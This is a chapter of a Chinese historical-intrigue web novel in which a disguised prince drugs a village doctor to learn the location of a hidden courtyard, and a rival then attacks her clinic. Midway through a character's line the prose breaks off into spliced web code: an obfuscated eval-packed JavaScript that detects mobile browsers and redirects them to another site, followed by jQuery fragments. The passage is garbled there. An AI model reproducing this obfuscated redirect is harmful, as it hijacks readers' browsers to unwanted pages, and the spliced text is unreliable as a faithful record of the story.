16. 易容

作品:《鸿雁长飞光不度

    据说青院之玉盒,其中藏着稀世珍宝,足以改变朝堂兴衰。


    兄长在世时,提笔惊鬼神,弹指论风云。


    那是怎样的惊世绝伦?沈令仪思绪不免飘得很远,想到多年前意气风发的状元郎,红绸新花挂在身前,策马游街看尽京城之花。


    可是最后的结局,不过是被轻飘飘地叹一句暴毙身亡,连尸骨灵牌都未有留存。


    他生前的别院被大火焚烧殆尽,他留存于世的东西要一个一个被翻找出来毁灭。


    沈令仪独自抚摸着玉盒的纹路,她不知开启的机关,也不知里面究竟存放着什么东西。可是兄长既然将玉盒托付给她,她便一定要遵守约定守护好它。


    她愣神往事,彻夜未眠。


    与此同时,青院最深处暗格的消息已经泄露了出去。


    陆鸿晏翻来覆去地读过手中的线报,揉了揉眉心的疲惫,嘱咐道:“去约祁明朗,让他打着我的名义定好孟春楼的厢房。”


    办事利落的魏朔这次却有些纠结,犹豫再三提醒道:“三殿下要不换个掩人耳目的地方,要是沈二小姐知道了的话......”


    孟春楼名字好听,其实不过是狎-妓之处的雅称。


    陆鸿晏风流爱玩的名声在外,是孟春楼有名的熟客。也因此经常被其他官员朝堂参奏,说他有辱皇室名声。


    可是陛下却毫不在意,直接呵斥了参奏的官员们,偏宠之意显而易见。


    陆鸿晏也难得纠结了片刻,还是挥了挥手。


    “就这样去办,令仪那里仔细瞒着些便是。”


    陆鸿晏心中矛盾丛生,孟春楼确实是最佳的掩护所,沈令仪也不过是赐婚牵制他势力的一颗棋子罢了。


    但他既不想让她误会,又有些想让她知晓,好奇沈令仪会是作何反应。


    她会嫌恶地蹙眉,还是云淡风轻般毫不在意,亦或者是愁怨地垂着双眸,泫然欲泣。


    陆鸿晏低笑,自己怎么会萌生这些念头。


    也罢,正好傍晚时要替她敷药,顺带着打探下她的态度也好。


    “派人装扮成我的模样赴约,一直在孟春楼待到我回府之时。”


    陆鸿晏从木柜里挑挑拣拣,熟练地剁碎了一大把海藻,掺杂着各种杂七杂八的药粉就开始研磨起来。


    须臾,那研钵里便出现了粘稠状的固体,颜色与陆鸿晏肤色相近,又略微偏向透明。


    他将此物涂抹在脸上,仔细雕刻形状后,又耐心地上了一层细粉。


    不出片刻,铜镜中显现出一位容貌气度与陆鸿晏迥乎不同之人。


    易容之术,陆鸿晏练得炉火纯青。


    他用特指的白布将自己的眼睛围住,外人只当他是瞎子,而他却可以从内向外看清一切。


    因而徐桥月见到他时,十分束手无策。


    偏远的郊外村庄多年来患者不少,可来来往往也就伤风感冒这几种小病,按照医书上抓几贴药便好了,不曾见过此等难疾。


    “徐大夫,求您救救我的眼睛。”


    陆鸿晏刻意粗着声音,着急地朝徐桥月求助着。


    他皮肤黝黑,身着一袭缝缝补补的麻布衣裳,裸-露出的地方多见伤疤,举手投举的气质与整日下地劳作的农民无二。


    徐桥月装模作样地把了脉,额头着急的浸出一层细汗。


    她仔细问过了伤势的由来,最后转身从药筐底下翻出几块碎银子,郑重地交到陆鸿晏手中。


    “抱歉,是我医术不精。你且拿着这些银两往京城去,那里名医遍布,定能治愈你的眼疾。”


    陆鸿晏隔着白纱盯着她的眼睛,趁着交接银两的时刻,另一只暗藏在袖中的手用劲,捏爆了早先准备好的药囊。


    徐桥月无知无觉,吸入一股似青草般的气味。


    她正纳闷着,陆鸿晏却径直与她对视,似乎能穿透白纱窥见她的内心。


    徐桥月意识越来越混沌,回盯着那层白纱,朦朦胧胧地已经陷进去了。


    陆鸿晏声音带着蛊惑,缓缓引诱:“你是谁?”


    “我是谁......我到底是谁......”


    这个问题似乎很难回答,徐桥月神情痛苦万分,紧密着眼眸,双手不断抓挠着自己的秀发。


    陆鸿晏很是诧异,未曾想到最简单的一个试探竟会引发这样的效果。


    “你是徐大夫,不对吗?”


    徐桥月好像终于从混乱中找到出路:“是......我是徐大夫......我是徐桥月......”


    陆鸿晏聚精会神,想从她口中印证自己的线报。


    “徐桥月,你可知青院在何处?”


    徐桥月与他对视,眼神空洞,答案呼之欲出。


    千钧一发之际,医馆外传来清晰的脚步声。


    陆鸿晏暗骂了一句该死,便迅速掏出一枚小药丸塞进她的嘴里。自己则退回远处,手中握着碎银子,露出一副感恩戴德的模样。


    裴文礼进门时便瞧见这一幕。


    徐桥月将手中的碎银两送给一个瞎子,而那瞎子傻乎乎地笑着,十分感激。


    “你是谁?你不是镇子上的人。”


    徐桥月意识逐渐回笼,转头望向来人,心中警报长鸣。


    裴文礼并未易容,华锦加身,头束玉冠,清润如玉。


    但他斯文的容貌上,唇角勾起的笑意却显得格外阴森:“不想死,就把东西交出来。”


    “我不知道你在说什么。”


    徐桥月把陆鸿晏向外推走,让他离开是非之地,自己则是握紧了怀中的匕首,随时准备奋力一搏。


    裴文礼好整以暇地阴笑着,视线锁定在陆鸿晏身上。


    风驰电掣间,他一把扯下了陆鸿晏蒙眼的白纱。


    这瞎子乃纯正的农民模样,脏兮兮的穿着让裴文礼嫌弃地丢开白纱,在自己的锦帕之上揩了两把手指。


    “没意思,还不快滚开。”


    裴文礼失望地骂道,转头盯着满脸凝重的徐桥月:“不要再试图挣扎,你知道我想要什么东西。”


    陆鸿晏闭着眼睛在地上摸索着,重新蒙好眼睛,逃命般急匆匆地向外跑去。


    他的脚步从出了医馆后便放慢,裴文礼自大的性格并没有让他带多少随从。


    陆鸿晏于拐角转身,魏朔早就恭候多时,带着他一齐跃上屋顶。


    搬开朽烂的砖块,屋内二人的谈话清晰可闻。


    “徐大夫,有些事情大家都心知肚明,何必还要再装下去?”裴文礼冷笑着,将揩手的锦帕丢在地上,靴子狠狠踩上去碾压,“若是乖乖听话,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259302|139804||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我还能善心大发地留你个全尸。”


    “这里不过是一个小小的医馆,我实在不懂公子的话语。”


    陆鸿晏皱眉,他没有采取硬碰硬的态度就是不想要打草惊蛇,以免青院真正的理事察觉,及时将宝物转移。


    但是裴文礼却不管不顾这些,执意要强势地闯入。


    若他就此杀了徐桥月,事情反而更加复杂了。


    陆鸿晏总觉得,事情似乎没这么简单。


    “也好,你偏要敬酒不吃吃罚酒,那就休怪我无情了。”


    裴文礼怒瞪着双眸,指挥着他的手下出手。


    徐桥月不断后退,后背撞到药架上,已经是无路可退。


    眼看着裴文礼手下的大刀就要向她砍过来,她手摸索着从药架后方板下一个拉杆。


    立时便有锋利的竹箭从徐桥月背后的墙面上射出,插入敌人的身体之中,鲜血直流。


    裴文礼也未能幸免,右肩深深中了一箭。


    他捂着自己的右肩,咬着牙把箭头拔出来,发现没有淬毒才松了口气。


    “倒是我小瞧了你。”裴文礼看着周围被射成筛子般的手下,明白自己急于求成,反而是轻敌了,“徐大夫,我们后会有期。”


    他放下狠话,就转身狼狈地离开。


    徐桥月手中拿着防身的匕首,却没有再去追。


    陆鸿晏不解,裴文礼的伤口牵动着他的右手,手下又皆是重伤不治。凭他对徐桥月的猜测,她应当是追上去斩草除根才是。


    否则青院的位置已经显而易见的暴露,为什么还要让这个消息继续扩散下去?若是下一次东宫多派人手,她还能如今天这般全身而退吗?


    思索着,徐桥月忽然抬头向上瞥去。


    陆鸿晏侧身避开,让魏朔带着自己赶快离开。


    徐桥月敏锐地瞧见了屋顶砖块的空缺。


    两条小鱼,还真是一条不缺呢。


    一条归属东宫,是在明处;一条不知来源,是在暗处。


    她迅速收拾好医馆横七竖八躺着的尸-体,落锁后赶往宸王府与沈令仪碰头。


    “不出所料,今日他们果然都来了。”徐桥月详细地阐述着今日所见所闻,“公子留下的机关都还在,防备他们不成问题。”


    沈令仪轻轻揉着自己的小腿,难掩愁容。


    约莫是昨日思凡楼步行了太久,今儿个腿疾的痛苦卷土重来,折磨着她一整日都不得安宁。


    “那个瞎子,你觉得有什么异常?”


    沈令仪痛得深深喘了口气,停顿了片刻,才说出自己的消息。


    “二殿下还在府中养伤,自山寺摔断了腿后至今未能治愈。三殿下从早到晚都与永宁侯世子厮混在......孟春楼。”


    言及此处,沈令仪眉头蹙得更紧。


    “主子做不了的事情,手下可以帮忙去。虽然各有各的掩护,但并不能表明这就毫无破绽。”徐桥月顿了一顿,才继续说道,“今日还有一些奇怪,见了那个瞎子后,我总觉得头脑昏昏沉沉的,有些提不起力气来。”


    沈令仪正要搭话,就见新花急急忙忙地跑进来。


    徐桥月趁机翻窗而出,却也听见新花气喘吁吁的通传声。


    “三殿下来客院了,是专程来找二小姐的!”